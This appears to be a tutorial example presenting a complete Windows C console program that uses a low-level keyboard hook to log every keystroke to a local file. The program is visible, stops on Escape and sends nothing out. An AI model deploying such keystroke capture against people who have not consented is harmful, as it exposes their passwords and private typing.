Keyboard Hook Example 2 Example

To note that the keyboard logger file can be found in the program .exe directory

//console application
#define _WIN32_WINNT 0x0400 
#include <windows.h>
#include <stdio.h>

HHOOK hKeyHook; 
__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode,WPARAM wParam,LPARAM lParam) { 
// Function  "exported" from the  executable. Performs low level hook-handling. 
// nCode containsThe hook code,wParam contains the window message 
//  and lParam is a pointer to a struct with information about the pressed key
if  ((nCode == HC_ACTION) &&((wParam == WM_SYSKEYDOWN) ||(wParam == WM_KEYDOWN)))        
{ 
KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam); 
DWORD dMsg = 1; 
dMsg += hooked.scanCode << 16; 
dMsg += hooked.flags << 24; 
char keyName[0x100] = {0}; 
keyName[0] = '['; 
int i = GetKeyNameTextA(dMsg, (keyName+1),0xFF) + 1; //retrieves the name of the pressed key.
keyName[i] = ']'; 
if (hooked.vkCode==VK_ESCAPE)//checks for escape key and closes message loop
{
PostQuitMessage(0);
}
//  Print the key name to key logging file 'keys'. 
FILE *file; 
//default keylogger.txt location is current program .exe directory
file=fopen("keylogfile.log","a+"); 
fputs(keyName,file); 
fflush(file); 
} 
return CallNextHookEx(hKeyHook, nCode,wParam,lParam); 
} 
// Simple message loop to keep process running until terminated by either escape of closing command window. 
void MsgLoop() 
{ 
MSG message; 
while (GetMessage(&message,NULL,0,0)) { 
TranslateMessage( &message ); 
DispatchMessage( &message ); 
}
} 
// This KeyLogger function is used install  the low level keyboard hook  
DWORD WINAPI KeyLogger(LPVOID lpParameter) 
{ 
HINSTANCE hExe = GetModuleHandle(NULL); // Get the module handle to this  executable
if (!hExe) hExe = LoadLibraryA((LPCSTR) lpParameter); 
if (!hExe) return 1; //if load library failed return
// set up the keyboard hook using functions KeyEvent from this executable 
hKeyHook = SetWindowsHookEx (WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe,NULL);      
printf("Program successfully hooked.\nPress escape to unhook the function and stop the program.\n");
MsgLoop();//call message koop.
printf("Unhook the function and stop the program.\n");
UnhookWindowsHookEx(hKeyHook); 
return 0; 
} 
// Main function call keylogger
int main(int argc, char** argv) 
{ 
KeyLogger(0);
return 0;
}